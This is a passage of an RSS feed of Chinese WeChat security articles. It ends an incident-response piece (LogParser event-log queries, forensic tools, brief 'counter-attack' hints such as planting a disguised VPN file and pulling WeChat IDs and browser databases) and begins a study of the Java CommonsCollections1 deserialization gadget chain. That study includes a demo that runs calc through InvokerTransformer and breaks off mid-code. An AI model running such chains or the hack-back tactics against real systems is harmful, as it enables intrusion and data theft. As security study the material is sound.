220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;|&#39;</span>) <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">AS</span> USERNAME,EXTRACT_TOKEN(Strings,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">5</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;|&#39;</span>) <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">AS</span> SERVICE_NAME,EXTRACT_TOKEN(Strings,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">5</span>,<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;|&#39;</span>) <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">AS</span> Client_IP <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">FROM</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;C:Userswp_bj_windowsDesktop安全.evtx&#39;</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">WHERE</span> EventID=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">4624</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span></span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">查询登录成功的事件</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>LogParser.exe -i:EVT –o:DATAGRID  &#34;<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">SELECT</span> * <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">FROM</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#39;C:Userswp_bj_windowsDesktop安全.evtx&#39;</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">where</span> EventID=<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);word-wrap: inherit !important;word-break: inherit !important;">4624</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span></span><br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">pchunter、火绒剑、auturuns 、Process Explorer、promon、D盾</p><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">Windows全日志提取工具FullEventLogView：<a href="http://www.nirsoft.net/utils/fulleventlogview-x64.zip" target="_blank">http://www.nirsoft.net/utils/fulleventlogview-x64.zip</a></p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">9.3 反制</span></h4><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">mysql ：获取微信id、浏览器的sqlite文件</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">伪装vpn文件，放置网站进行下载</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">jsonp</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">…</span></p></li></ul><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">9.4 规范指南</span></h4><ul style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;padding-left: 32px;list-style-type: disc;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">GB/T 24363-2009  《信息安全应急响应计划规范》</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">GB/Z 20985-2007 《信息安全事件管理指南》</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">GB/Z 20986-2007 《信息安全事件分类分级指南》</span></p></li></ul><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">9.5 参考</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">[1] <a href="http://cn-sec.com/archives/1039136.html" target="_blank">http://cn-sec.com/archives/1039136.html</a><br/>[2] <a href="http://cn-sec.com/archives/498923.html" target="_blank">http://cn-sec.com/archives/498923.html</a></p></section><p><br/></p>



<p><a href="2247486283">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=46e2cfba&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486283%26idx%3D1%26sn%3Dc19b9cdc5f3207289439d5f543b51823%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 01 Aug 2022 08:16:00 +0800</pubDate>
    </item>
    <item>
      <title>JAVA反序列化之CommonCollections1利用链</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486273&amp;idx=1&amp;sn=4288cdf46d46387862719537a95bea4e</link>
      <description>之前简单学习了JAVA反序列化和URLDNS这条利用链，讲过的基础就不再赘述了，今天来学习CommonCollections这条利用链。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Gat1ta</span> <span>2022-07-08 08:22</span> <span style="display: inline-block;">北京</span>
</p>

<p>之前简单学习了JAVA反序列化和URLDNS这条利用链，讲过的基础就不再赘述了，今天来学习CommonCollections这条利用链。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=87121f5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhk4DGb3t8icTCe64o6FtEjLXsv2Yem2K59EdIuRTpN56aBv9nWHoZ9gkg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 16px;color: rgb(62, 62, 62);line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;"><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x01前言</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">之前简单学习了JAVA反序列化和URLDNS这条利用链，讲过的基础就不再赘述了，今天来学习CommonCollections这条利用链。</p><h3 style="line-height: inherit;margin: 1.5em 0px;font-weight: bold;font-size: 1.3em;margin-bottom: 2em;margin-right: 5px;padding: 8px 15px;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);color: rgb(255, 255, 255);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">0x02分析</span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">由于这条链相对于URLDNS比较复杂，为了更容易理解，所以首先采用P牛精简后的一段DEMO来理解这条利用链：<br/><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">DEMO1</strong></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">package</span> Commoncollections1;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.Transformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 3</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.functors.ChainedTransformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 4</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.functors.ConstantTransformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.functors.InvokerTransformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 6</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> org.apache.commons.collections.map.TransformedMap;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 7</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 8</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.lang.annotation.Retention;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 9</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.lang.reflect.Constructor;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">10</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.util.HashMap;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">11</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">import</span> java.util.Map;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">12</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">13</span><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">class</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">CommonCollections1</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">14</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(String[] args)</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">throws</span> Exception </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">15</span>        Transformer[] transformers = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Transformer[]{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">16</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> ConstantTransformer(Runtime.getRuntime()),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">17</span>                <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> InvokerTransformer(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;exec&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Class[]{String.class},<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">18</span>                        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> Object[]<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">19</span>                                {<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;calc&#34;</span>}),<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">20</span>        };<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">21</span>        Transformer transformerChain = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span><br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">22</span>                ChainedTransformer(transformers);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">23</span>        Map innerMap = <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> HashMap();<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">24</span>        Map outerMap = TransformedMap.decorate(innerMap, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">null</span>,<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">25</span>                transformerChain);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">26</span>        outerMap.put(<span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;test&#34;</span>, <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(238, 220, 112);word-wrap: inherit !important;word-break: inherit !important;">&#34;xxxx&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">27</span>    }<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">28</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">在windows环境中，运行以上代码会发现打开了计算器。如果是其他系统需要将calc换成想要执行的程序路径。<br/>简单看看代码，通过参数来看，发现最后一句代码好像没什么用似的，删掉试试。<br/>结果发现不能打开计算器了，这说明，最终触发执行代码的代码是最后一条。</p><h4 style="color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;font-weight: bold;font-size: 1.2em;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">TransformedMap类</span></h4><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">outerMap对象是TransformedMap.decorate返回的，所以要先研究一下这个类是干嘛用的，首先看一下这个类的继承图：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><img class="rich_pages wxw-img" data-w="822" data-type="png" style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;display: block;margin: 0px auto;max-width: 100%;" title="image.png" data-ratio="0.35523114355231145" src="https://wechat2rss.xlab.app/img-proxy/?k=59215e37&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MX2NQ4JLZRicicicQTFQ80fxhkUvEuOyiaP0Vo1Jsjg8WVVJtLL90FN8HKdelo5Tic5BrMAa77JhPHXBCA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin: 0px;padding: 0px;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">图1</figcaption></figure><br/>通过类名可以看出，这是一个Map的装饰类，对应设计模式的装饰器模式。目的是为了向一个现有的对象添加新的功能，同时又不改变其结构。这个类中对原始类的某些接口的功能进行了扩展。<br/>跟进这个TransformedMap类看看实现：<p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;"><br/></p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">1</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">static</span> Map <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">decorate</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Map map, Transformer keyTransformer, Transformer valueTransformer)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">2</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">new</span> TransformedMap(map, keyTransformer, valueTransformer);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">3</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">protected</span> <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">TransformedMap</span><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(255, 152, 35);word-wrap: inherit !important;word-break: inherit !important;">(Map map, Transformer keyTransformer, Transformer valueTransformer)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">4</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">super</span>(map);<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">5</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.keyTransformer = keyTransformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">6</span>        <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">this</span>.valueTransformer = valueTransformer;<br/><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;">7</span>    }<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;padding: 0px;margin: 1.5em 0px;">可以看到，decorate中new了一个自身对象并返回，也就是调用了自己的构造函数，而构造函数调用了父类的构造函数，然后将两个Transformer类型的参数保存到了成员变量中。<br/>继续看看这个类的put方法，为什么会执行代码：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><code style="white-space:pre-wrap;overflow-wrap: break-word;margin: 0px 2px;line-height: 18px;font-size: 14px;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-x: auto;padding: 0.5em;word-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(174, 135, 250);padding-right: 20px;word-spacing: 0px;word-wrap: inherit !important;word-break: inherit !important;"> 1</span>    <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(248, 35, 117);word-wrap: inherit !important;word-break: inherit !important;">public</span> Object <span style="font-size: inherit;line-height: inherit;margin: 0px;padding: 0px;color: rgb(165, 218, 45);word-wrap: inherit !important;word-break: inherit !important;">put</span><span style="font-size: 